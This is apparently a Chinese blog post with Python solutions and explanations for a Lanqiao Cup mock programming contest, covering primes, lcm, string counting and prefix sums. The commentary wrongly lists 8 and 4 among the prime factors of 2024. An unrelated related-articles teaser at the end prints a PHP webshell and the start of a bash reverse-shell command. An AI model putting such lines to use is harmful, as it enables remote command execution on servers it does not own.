第16届蓝桥杯模拟赛3 python组个人题解
第16届蓝桥杯模拟赛3 python组
思路和答案不保证正确
1.填空
如果一个数 p 是个质数,同时又是整数 a 的约数,则 p 称为 a 的一个质因数。
请问, 2024 的最大的质因数是多少?
因为是填空题,所以直接枚举2023~2 ,第一个即是质数也是2024的因数的数就是答案。
def isprime(x):for i in range(2,int(x ** 0.5)+1):if(x % i == 0):return Falsereturn True
for i in range(2023,1,-1):if(2024 % i == 0 and isprime(i)):print(i)
# 23
# 11
# 2
2.填空
对于两个整数 a, b,既是 a 的整数倍又是 b 的整数倍的数称为 a 和 b 的公倍数。公倍数中最小的正整数称为 a 和 b 的最小公倍数。
请问, 2024 和 1024 的最小公倍数是多少?
经典求lcm: l c m ( a , b ) = a ∗ b g c d ( a ∗ b ) lcm(a,b) = \frac{a * b}{ gcd(a* b)} lcm(a,b)=gcd(a∗b)a∗b
def gcd(x,y):if(y == 0): return xreturn gcd(y,x % y)
def lcm(x,y):return x * y // gcd(x,y)
print(lcm(2024,1024))
## 259072
(python3.9版本以后的math库中含有lcm函数可以直接调用)
import math
print(math.lcm(2024,1024))
## 259072
3.填空
如果一个数 p 是个质数,同时又是整数 a 的约数,则 p 称为 a 的一个质因数。
请问, 2024 的所有质因数的和是多少?
第一个填空使用的代码已经计算出了2024的质因数为:23,11,8,4,2 ,加到一起就可以了
def isprime(x):for i in range(2,int(x ** 0.5)+1):if(x % i == 0):return Falsereturn True
s = 0
for i in range(2023,1,-1):if(2024 % i == 0 and isprime(i)):s = s + i
print(s)
## 36
4.填空
请问,在不超过 2024 的数中,最大的质数是多少?
枚举2023~2,找到第一个质数
def isprime(x):for i in range(2,int(x ** 0.5)+1):if(x % i == 0):return Falsereturn True
s = 0
for i in range(2023,1,-1):if(isprime(i)):print(i)break
## 2017
5.填空
如果两个整数 a, b 除了 1 以外,没有其它的公约数,则称整数 a 与 b 互质。
请问,与 2024 互质的数中(包括1),第 2024 小的数是多少?
while循环从1开始找满足 g c d ( x , 2024 ) = = 1 gcd(x,2024) == 1 gcd(x,2024)==1 的数,找第2024个
def gcd(x,y):if(y == 0): return xreturn gcd(y,x % y)
cnt = 0
p = 0
while(cnt < 2024):p += 1if(gcd(p,2024) == 1):cnt += 1
print(p)
## 4655
6.填空
对于字符串 S=ANQNANBNQNANQNQNBNINQNQNANQNINANQNANBNQNANQNQNBNBNQNQNANQNINANQNANBNQNANQNQNBNINQNQNANQNINBNQNANBNQN ,请找到 S 的一个长度不超过 10 的子串 A,使得(A的长度)乘以(A在S中出现的次数)最大。
请问这个子串是什么?(如果有多个满足条件的,请回答字典序最小的)。
字符串不长,直接枚举所有长度不超过10的子串,然后将他们的出现次数记录在字典中,然后在字典中找答案就好
s = "ANQNANBNQNANQNQNBNINQNQNANQNINANQNANBNQNANQNQNBNBNQNQNANQNINANQNANBNQNANQNQNBNINQNQNANQNINBNQNANBNQN"
dic = {}
for length in range(1,11):for i in range(0,len(s) - length):dic[s[i:i+length]] = dic.get(s[i:i+length],0) + 1
ansstr = ""
ansnum = 0
for s,cnt in dic.items():num = cnt * len(s)if(num > ansnum) or (num == ansnum and s < ansstr):ansstr = sansnum = num
print(ansstr)
# NQN
7.填空
如果一个字符串中只包含字符 0 和字符 1,则称为一个 01 串(包含全为 0 的串和全为 1 的串)。
请问有多少个长度为 24 的 01 串,满足任意 5 个连续的位置中不超过 3 个位置的值为 1 。
长度为24的01串总共有 2 24 2^{24} 224 个,大约 1.7 ∗ 1 0 7 1.7*10^7 1.7∗107 , 可以花点时间暴力枚举所有的字符串(反正是填空题)
import time
def check(x):lst = []for i in range(0,24):if(x & ( 1 << i)):lst.append(i)if(len(lst)<=2):return Truefor i in range(len(lst)-2):if(lst[i+2] - lst[i]<= 4):return Falsereturn True
ans = 0
tik = time.time()
for x in range(1<<24):# 这些01串可以用0~(2**24-1)的二进制数表示if(check(x)):ans += 1
tok = time.time()
print(tok-tik) # 花了25.859452724456787秒运行程序
print(ans) # 最终答案是162165
也可以使用dfs来解决本题:
import time
lis = [] # 存储当前数的1的位置
ans = 0
def dfs(step):global ansif(step == 25):ans += 1return if(len(lis) < 2 or step - lis[-2] > 4):lis.append(step) # 选1dfs(step + 1) lis.pop() # 还原现场dfs(step + 1) # 选0
tic = time.time()
dfs(1)
tok = time.time()
print(tok - tic)# 花了0.04025077819824219秒运行程序
print(ans) # 最终答案是162165
8. 玉米地
题意
【问题描述】
小蓝种了一块玉米地,玉米地长 n 米,宽 m 米,每平方米产玉米 a 千克。请问小蓝的玉米地一共能产多少千克玉米?
【输入格式】
输入三行。第一行包含一个正整数 n ,第二行包含一个正整数 m ,第三行包含一个正整数 a 。
【输出格式】
输出一行,包含一个整数,表示答案。
【样例输入】
20
24
900
【样例输出】
432000
【评测用例规模与约定】
对于所有评测用例,1 <= n <= 1000, 1 <= m <= 1000, 1 <= a <= 2000。
思路
直接输出 n ∗ m ∗ a n*m*a n∗m∗a
n = int(input())
m = int(input())
a = int(input())
print(n * m * a)
9.再创新高
题意
###【问题描述】
小蓝有一个数组 a[1], a[2], …, a[n], 一个“再创新高”的位置是指一个位置 p ,a[p] 的值比之前每个位置的值都大。
请求出小蓝的数组中有多少个再创新高的位置。
【输入格式】
输入的第一行包含一个整数 n 。
第二行包含 n 个整数,相邻数之间使用一个空格分隔,依次表示 a[1], a[2], …, a[n] 。
【输出格式】
输出一行,包含一个整数,表示答案。
【样例输入】
8
1 2 3 4 5 6 6 6
【样例输出】
6
【样例输入】
9
3 2 1 6 5 4 9 8 7
【样例输出】
3
【评测用例规模与约定】
对于 30% 的评测用例,1 <= n <= 100,0 <= a[i] <= 1000。
对于 60% 的评测用例,1 <= n <= 1000,0 <= a[i] <= 1000。
对于所有评测用例,1 <= n <= 10000,0 <= a[i] <= 1000000。
思路
枚举数组,不断记录max值,每当max更新就让答案加一
n = int(input())
lst = list(map(int,input().split()))
mx = -1
ans = 0
for x in lst:if(x > mx):ans += 1mx = x
print(ans)
10.四个字符串拼接
题意
【问题描述】
给定四个字符串 a, b, c, d,请将这四个字符串按照任意顺序依次连接拼成一个字符串。
请问拼成的字符串字典序最小是多少?
【输入格式】
输入四行,每行包含一个字符串。
【输出格式】
输出一行包含一个字符串,表示答案。
【样例输入】
LAN
LAN
QIAO
BEI
【样例输出】
BEILANLANQIAO
【评测用例规模与约定】
对于所有评测用例,输入的字符串非空串,由大写字母组成,长度不超过 1000 。
思路
四个字符串拼接只有 A 4 4 A_4^4 A44 种可能,直接枚举所有可能的情况,找到最小的字符串即可。
将四个字符串装入一个列表中,然后使用itertools库中的permutations函数来生成所有可能的排列
import itertools
lst = []
for i in range(4):s = input()lst.append(s)
per = itertools.permutations(lst) # 生成一个包含所有排列情况的可迭代对象
ans = "".join(lst) # 拼接列表中的字符串
for i in per:ans = min(ans,"".join(i))
print(ans)
更好的解法
如果字符串数量增多,全排列的数量会大大增长导致我们无法枚举所有的可能。我们可以考虑直接找到最优的字符串。
我们假设字符串目前拼接顺序如下S1,a,b,S2 ,其中a,b 是单元字符串,而S1,S2则分别表示其他字符串拼接后的串。现在我们考虑交换a和b的位置能否使得整个字符串的字典序更小:
显而易见当a+b<b+a时,a在前时字典序更小,b+a<a+b 时交换a和b的位置能够使得最终的字符串字典序更小。 (此处的+ 表示字符串的拼接,> , < 表示字典序比较)
于是我们按照上述的比较规则对这个字符串数组进行排序,最终的顺序就是答案
from functools import cmp_to_key
lst = []
for i in range(4):s = input()lst.append(s)
def cmp(s1,s2): # 比较函数if(s1+s2 < s2+s1):return -1 # -1表示不需要交换位置elif(s1+s2 > s2+s1):return 1 # 1表示需要交换位置else :return 0
lst.sort(key = cmp_to_key(cmp))
print("".join(lst))
11.领取礼物
题意
【问题描述】
蓝桥村正在给村民们发放礼物。礼物通过一个礼物发放机完成。
村民们在机器前排着队领取礼物。
每个礼物有一个价值 v[i] ,有的高,有的低。每位村民有自己对于礼物的期望值 e[i] 。
礼物发放机每次会显示一个礼物,如果礼物的价值大于等于村民的期望值,村民就会高兴地把礼物拿走,并离开礼物发放机。如果礼物的价值比村民的期望值低,村民会让这个礼物取消,并让礼物发放机显示下一个礼物,并重新检查是否满足期望。村民会重复让礼物发放机显示下⼀个礼物,直到礼物发放机没有更多可以显示的礼物或礼物的价值大于等于自己的期望值。
如果礼物发放机中的所有礼物都显示完了,那么还没领到礼物的村民就无法领取礼物了。
如果所有的村民都领到了礼物,而礼物发放机还有礼物显示,村民们也不会再领取礼物。
现在,小蓝知道了每位村民的期望值,也知道了礼物发放机上礼物的显示顺序,请问总共有多少村民拿到了礼物?
【输入格式】
输入的第一行包含一个整数 n ,表示村民的个数。
第二行包含 n 个整数,相邻数之间使用一个空格分隔,依次表示排队的每位村民的期望值 e[i] 。
第三行包含一个整数 m ,表示礼物发放机会显示的礼物个数。
第四行包含 m 个整数,相邻数之间使用一个空格分隔,依次表示礼物发放机显示的礼物的价值 v[i] 。
【输出格式】
输出一行,包含一个整数,表示答案。
【样例输入】
6
6 5 5 3 6 0
9
9 9 8 2 4 4 3 5 3
【样例输出】
4
【样例说明】
前 4 位村民依次取到了第 1, 2, 3, 5 件礼物。后面的礼物未能满足第 5 位村民。
【评测用例规模与约定】
对于 30% 的评测用例,1 <= n, m <= 20 , 0 <= e[i], v[i] <= 100 。
对于 60% 的评测用例,1 <= n, m <= 300 , 0 <= e[i], v[i] <= 10000 。
对于所有评测用例,1 <= n, m <= 10000 , 0 <= e[i], v[i] <= 1000000 。
思路
模拟礼物分发的过程即可
使用for循环按顺序枚举每个村民,对于每个村民使用while循环来查找符合的礼物。
当所有村民都领到礼物,或者所有的礼物都分发完就结束循环
n = int(input())
villager = list(map(int,input().split()))
m = int(input())
gift = list(map(int,input().split()))
p = 0 # 现在分发到哪个礼物了
ans = 0
for x in villager:while(p < len(gift) and gift[p] < x):p += 1if(p == len(gift)):# 如果所有礼物都发完了breakans += 1 # 有合适的礼物给他p += 1
print(ans)
12. 十字矩阵
题意
【问题描述】
小蓝有一个 n 行 m 列的矩阵 a [ i ] [ j ] a[i][j] a[i][j],他想着矩阵中找出一个“十”字形状的区域,使得区域内的值的和最大。
一个“十”字形状的区域可以由两个行号 r 1 r1 r1 、 r 2 r2 r2 和两个列号 c 1 c1 c1 、 c 2 c2 c2 表示。“十”字的区域内包括第 r 1 r1 r1 行到 r 2 r2 r2 行的所有元素,以及第 c 1 c1 c1 列到 c 2 c2 c2 列的所有元素,既不在这几行也不在这几列的元素不在区域内。
为了保证是一个“十”字的形状,必须满足 1 < r 1 < = r 2 < n , 1 < c 1 < = c 2 < m 1 < r1 <= r2 < n,1 < c1 <= c2 < m 1<r1<=r2<n,1<c1<=c2<m。
【输入格式】
输入的第一行包含两个整数 $n, m $,分别表示行数和列数。
接下来 n n n 行,每行包含 m m m整数,相邻数之间使用一个空格分隔,依次表示矩阵的每行每列的值,本部分的第 i i i 行第 j j j 列表示 a [ i ] [ j ] a[i][j] a[i][j] 。
【输出格式】
输出一行包含一个整数,表示最大的和。
【样例输入】
5 6
1 -1 2 -2 3 -3
-1 2 -2 3 -3 4
2 -2 3 -3 4 -4
-2 3 -3 4 -4 5
3 -3 4 -4 5 -5
【样例输出】
14
【样例说明】
有两种方法可以得到最大的和。第一种是取 r 1 = 2 , r 2 = 4 , c 1 = 3 , c 2 = 5 r1=2, r2=4, c1=3, c2=5 r1=2,r2=4,c1=3,c2=5,第二种是取$ r1=2, r2=4, c1=5, c2=5 $。
【评测用例规模与约定】
对于 30% 的评测用例, 3 < = n , m < = 30 , − 1000 < = a [ i ] [ j ] < = 1000 3 <= n, m <= 30 ,-1000 <= a[i][j] <= 1000 3<=n,m<=30,−1000<=a[i][j]<=1000 。
对于 60% 的评测用例, 3 < = n , m < = 100 , − 1000 < = a [ i ] [ j ] < = 1000 3 <= n, m <= 100 ,-1000 <= a[i][j] <= 1000 3<=n,m<=100,−1000<=a[i][j]<=1000 。
对于所有评测用例,$3 <= n <= 100, 3 <= m <= 5000 ,-1000 <= a[i][j] <= 1000 $。
思路
部分分
本题难度明显高于其他题目,可以考虑拿部分分:
暴力枚举所有十字的可能情况,然后使用二维前缀和来计算这个十字中所有数的加和。时间复杂度( O ( n 2 m 2 ) O(n^2m^2) O(n2m2)
n,m = list(map(int,input().split()))
matrix = []
matrix.append([0] * (m+1))
# 让matrix的有效数据从下标1开始,便于进行前缀和计算
for i in range(n):lst = [0]lst = lst + list(map(int,input().split()))matrix.append(lst)
# 求二维前缀和
for i in range(1,n+1):for j in range(1,m+1):matrix[i][j] = matrix[i][j] + matrix[i-1][j] + matrix[i][j-1] - matrix[i-1][j-1]
ans = -1e9
for r1 in range(2,n): ## 枚举十字for r2 in range(r1,n):for c1 in range(2,m):for c2 in range(c1,m):## 计算十字的数字总和sm = 0sm += matrix[r2][m] - matrix[r1-1][m] # 十字的横sm += matrix[n][c2] - matrix[n][c1-1] # 十字的竖sm -= matrix[r2][c2] - matrix[r1-1][c2] - matrix[r2][c1-1] + matrix[r1-1][c1-1]# 减去重叠部分ans = max(ans,sm)
print(ans)
满分
观察满分的数据范围,发现n没有变大, 只有m变大了。
我们可以枚举 r 1 , r 2 r1,r2 r1,r2 的取值,当 r 1 , r 2 r1,r2 r1,r2 确定后, 本题就变为了“在一个一维数组中找和最大的子数组”问题。
这个子问题的复杂度是 O ( m ) O(m) O(m) 的,于是我们的总的复杂度就降到了 O ( n 2 m ) O(n^2m) O(n2m)
如何用 O ( n ) O(n) O(n)算法求解一维数组的最大子数组和?
例题:最大子数组和(leetcode)
对数组进行前缀和 s u m sum sum,那么子数组lst[l~r] 即 sum[r] - sum[l-1] ,显而易见当r确定后, 最小的 s u m [ l − 1 ] sum[l-1] sum[l−1] 能产生最大的 sum[r] - sum[l-1], 于是我们可以枚举右端点r, 左端点 l l l通过记录最小值得出。
n,m = list(map(int,input().split()))
matrix = []
matrix.append([0] * (m+1))
# 让matrix的有效数据从下标1开始,便于进行前缀和计算
for i in range(n):lst = [0]lst = lst + list(map(int,input().split()))matrix.append(lst)
pre = matrix.copy()
# 求二维前缀和
for i in range(1,n+1):for j in range(1,m+1):pre[i][j] = pre[i][j] + pre[i-1][j] + pre[i][j-1] - pre[i-1][j-1]ans = -1e9
for r1 in range(2,n):for r2 in range(r1,n):x = pre[r2][m] - pre[r1-1][m] # 十字的横summ = [0] # 二维前缀和压缩到一维,并减去"横"for col in range(1,m+1):summ.append(pre[n][col] - (pre[r2][col] - pre[r1-1][col])minn = 0res = -1e9 # 子数组最大和for i in range(1,len(summ)):res = max(res,summ[i]-minn)minn = min(minn,summ[i])ans = max(ans,res + x)
print(ans)
相关文章:
第16届蓝桥杯模拟赛3 python组个人题解
第16届蓝桥杯模拟赛3 python组 思路和答案不保证正确 1.填空 如果一个数 p 是个质数,同时又是整数 a 的约数,则 p 称为 a 的一个质因数。 请问, 2024 的最大的质因数是多少? 因为是填空题,所以直接枚举2023~2 &am…...
UE5 Computer Shader学习笔记
首先这里是绑定.usf文件的路径,并声明是用声明着色器 上面就是对应的usf文件路径,在第一张图进行链接 Shader Frequency 的作用 Shader Frequency 是 Unreal Engine 中用于描述着色器类型和其执行阶段的分类。常见的 Shader Frequency 包括:…...
2.1部署logstash:9600
实验环境:关闭防火墙,完成java环境 yum -y install wget wget https://d6.injdk.cn/oraclejdk/8/jdk-8u341-linux-x64.rpm yum localinstall jdk-8u341-linux-x64.rpm -y java -version 1.安装logstash tar xf logstash-6.4.1.tar.gz -C /usr/local…...
SQL笔记#集合运算
目录 一、表的加减法 1、什么是集合运算 2、表的加法——UNION 3、集合运算的注意事项 4、包含重复行的集合运算——ALL运算 5、选取表中公共部分——INTERSECT 6、记录的减法——EXCEPT 二、联结(以列为单位对表进行联结) 1、什么是联结(JOIN) 2、内联结——INSER…...
多模态人物视频驱动技术回顾与业务应用
一种新的商品表现形态,内容几乎存在于手淘用户动线全流程,例如信息流种草内容、搜索消费决策内容、详情页种草内容等。通过低成本、高时效的AIGC内容生成能力,能够从供给端缓解内容生产成本高的问题,通过源源不断的低成本供给倒推…...
基于Matlab实现汽车远近光灯识别的详细步骤及代码示例
以下是一个基于Matlab实现汽车远近光灯识别的详细步骤及代码示例,主要通过图像处理技术来区分远光灯和近光灯。 整体思路 图像预处理:包括读取图像、灰度化、去噪等操作,以提高后续处理的准确性。边缘检测:找出图像中的边缘信息…...
多功能免费网络测速及问题诊断工具
软件介绍 在日常网络使用中,网络问题常常难以即时察觉,很多时候,只有当视频卡顿、网页加载半天没反应,乃至无法连接部分服务时,我们才惊觉网络出状况了。 这里有一款免费工具,专为家庭、办公以及跨国网…...
【算法设计与分析】(一)介绍算法与复杂度分析
【算法设计与分析】(一)介绍算法与复杂度分析 前言一、什么是算法?二、算法的抽象机制三、描述算法四、复杂度分析4.1 时间复杂度4.2 空间复杂度 前言 从搜索引擎的高效检索,到推荐系统的个性化推荐,再到人工智能领域…...
HTML5特殊字符
HTML中常用的特殊符号一般都以“&”开头,以“;”结束。...
使用python接入腾讯云DeepSeek
本文主要从提供SSE方式接入DeepSeek,并通过fastapi websocket对外提供接入方法。 参考文档: 腾讯云大模型:https://cloud.tencent.com/document/product/1759/109380 fastAPI官网:https://fastapi.tiangolo.com/ WebSocketManager…...
6.3 - UART串口数据发送之中断
文章目录 1 实验任务2 系统框图3 软件设计 1 实验任务 本实验使用中断方式实现UART串口数据的连续发送。 2 系统框图 参见6.1。 3 软件设计 注意事项: 系统上电、程序下载后,此时TX FIFO虽然为空,但并不会触发空中断;空中断…...
无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。
eplan生成更新列表后报错,报错内容如下: 无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。针对 64 位版本的EPLAN平台需要使用64 位版本的Microsoft Office。 原因:eplan的列表更新需要64位的微软办公软件版本支…...
将CUBE或3DL LUT转换为PNG图像
概述 在大部分情况下,LUT 文件通常为 CUBE 或 3DL 格式。但是我们在 OpenGL Shader 中使用的LUT,通常是图像格式的 LUT 文件。下面,我将教大家如何将这些文件转换为 PNG 图像格式。 条形LUT在线转换(不是8x8网络)&am…...
C语言(13)------------>do-while循环
1.do-while循环的语法 我们知道C语言有三大结构,顺序、选择、循环。我们可以使用while循环、for循环、do-while循环实现循环结构。之前的博客中提及到了前两者的技术实现。可以参考: C语言(11)------------->while循…...
FS800DTU联动OneNET平台数据可视化View
目录 1 前言 2 环境搭建 2.1 硬件准备 2.2 软件环境 2.3 硬件连接 3 注册OneNET云平台并建立物模型 3.1 参数获取 3.2 连接OneNET 3.3上报数据 4 数据可视化View 4.1 用户信息获取 4.2 启用数据可视化View 4.3 创建项目 4.4 编辑项目 4.5 新增数据源 4.6 数据过滤器配置 4.6 项…...
Linux 第三次脚本作业
源码编译安装httpd 2.4,提供系统服务管理脚本并测试(建议两种方法实现) 一、第一种方法 1、把 httpd-2.4.63.tar.gz 这个安装包上传到你的试验机上 2、 安装编译工具 (俺之前已经装好了) 3、解压httpd包 4、解压后的httpd包的文…...
[数据结构笔记]数据结构必要的C语言基础
数据结构必要的C语言基础 使用C语言学习数据结构之前有一些必要了解的基础,许多同学在初学数据结构时因为对这些知识不熟,导致了对数据结构的畏惧心理。实际上很大一部分来自C语言的基础 C语言 结构体与指针 在一些场景中,如果传递给函…...
CTF常用shell语句整理(webshell、反弹shell)
Web Shell <?php system($_GET[cmd]);?> <?php echo system($_GET[cmd]);?> <%3fphpsystem($_[cmd]);%3f> <%3fphpechosystem($_[cmd]);%3f>命令执行:访问 /?cmdwhoami. Reverse Shell <?php system(bash -i >& /dev/t…...
数据结构笔记——06树和二叉树
文章目录 一、树的基本概念1.树的定义2.树的逻辑表示方法3.树的基本术语4.树的性质5.树的基本运算6.树的存储结构1)双亲存储结构2)孩子链存储结构3)孩子兄弟链存储结构 二、二叉树的概念和性质1.二叉树的定义2.二叉树的性质3.二叉树与树、森林之间的转换1)森林、树转换为二叉树…...
蓝禾,oppo,游卡,汤臣倍健,康冠科技,作业帮,高途教育25届春招内推
蓝禾,oppo,游卡,汤臣倍健,康冠科技,作业帮,高途教育25届春招内推 ①康冠科技 【职位】算法、软件、硬件、技术,结构设计,供应链,产品,职能,商务 【…...
蓝桥杯之日期题
文章目录 1.蓝桥杯必备知识点2. 题型13.需求2 1.蓝桥杯必备知识点 蓝桥杯是一个面向全国高校计算机相关专业学生的学科竞赛,涵盖多个赛道,常见的有软件类(如 C/C 程序设计、Java 软件开发、Python 程序设计)和电子类(…...
大模型在尿潴留风险预测及围手术期方案制定中的应用研究
目录 一、引言 1.1 研究背景与意义 1.2 研究目的 1.3 研究方法与数据来源 二、大模型预测尿潴留的原理与方法 2.1 相关大模型介绍 2.2 模型构建与训练 2.3 模型评估指标与验证 三、术前尿潴留风险预测及方案制定 3.1 术前风险因素分析 3.2 大模型预测结果分析 3.3 …...
PV Elite 27是专业的压力容器和热交换器设计解决方案
Intergraph PV Elite 27是专业的压力容器和热交换器设计解决方案。提供完整的容器和热交换器的设计,分析和评估解决方案。提供的完整的容器设计和分析、交换器设计和分析、管板设计和分析、矩形和非圆形容器分析、单个组件分析、综合误差检查、鞍座/支腿/吊耳/耳轴和…...
Visual Studio 中的 /MD 与 /MT、动态库与静态库的深入解析
文章目录 1. /MD 与 /MT 的区别1.3 调试版本1.4 注意事项 2. 动态库与静态库的联系与区别2.3 联系与区别 3. 结合你的错误分析3.1 错误原因3.2 解决方案3.3 经验教训 4. 总结 在 Visual Studio 中进行 C/C 项目开发时,开发者经常需要对运行时库选项(例如…...
QT入门--QMainWindow
从上向下依次是菜单栏,工具栏,铆接部件(浮动窗口),状态栏,中心部件 菜单栏 创建菜单栏 QMenuBar* mybar1 menuBar(); 将菜单栏放到窗口中 setMenuBar(mybar1); 创建菜单 QMenu *myfilemenu mybar1-…...
深圳南柯电子|医疗设备EMC测试整改检测:零到一,保障医疗安全
在当今医疗科技飞速发展的时代,医疗设备的电磁兼容性(EMC)已成为确保其安全、有效运行的关键要素之一。EMC测试整改检测不仅关乎设备的性能稳定性,更是保障患者安全、避免电磁干扰引发医疗事故的重要措施。 一、医疗设备EMC测试整…...
【链 表】
【链表】 一级目录1. 基本概念2. 算法分析2.1 时间复杂度2.2 空间复杂度2.3 时空复杂度互换 线性表的概念线性表的举例顺序表的基本概念顺序表的基本操作1. 初始化2. 插入操作3. 删除操作4. 查找操作5. 遍历操作 顺序表的优缺点总结优点缺点 树形结构图形结构单链表基本概念链表…...
排序算法归类整理对比
以下是常见排序算法的详细分类和解析,涵盖原理、时间复杂度及适用场景: 一、比较排序算法 1. 快速排序(Quick Sort) 原理:分治策略,选取基准元素(pivot),将数组分为小于…...
前端项目部署阻止用户打开控制台
需求:在前端开发过程中,会遇到生产坏境不让用户打开控制台,防止不法分子虚假信息操作。 废话不多说一共两步,添加我们的js方法,和在全局使用这个方法。 第一步:添加我的js文件: //禁用开发者…...
一周学会Flask3 Python Web开发-Jinja2模板过滤器使用
锋哥原创的Flask3 Python Web开发 Flask3视频教程: 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 在Jinja2中,过滤器(filter)是一些可以用来修改和过滤变量值的特殊函数,过滤器和变量用一个竖线 | &a…...
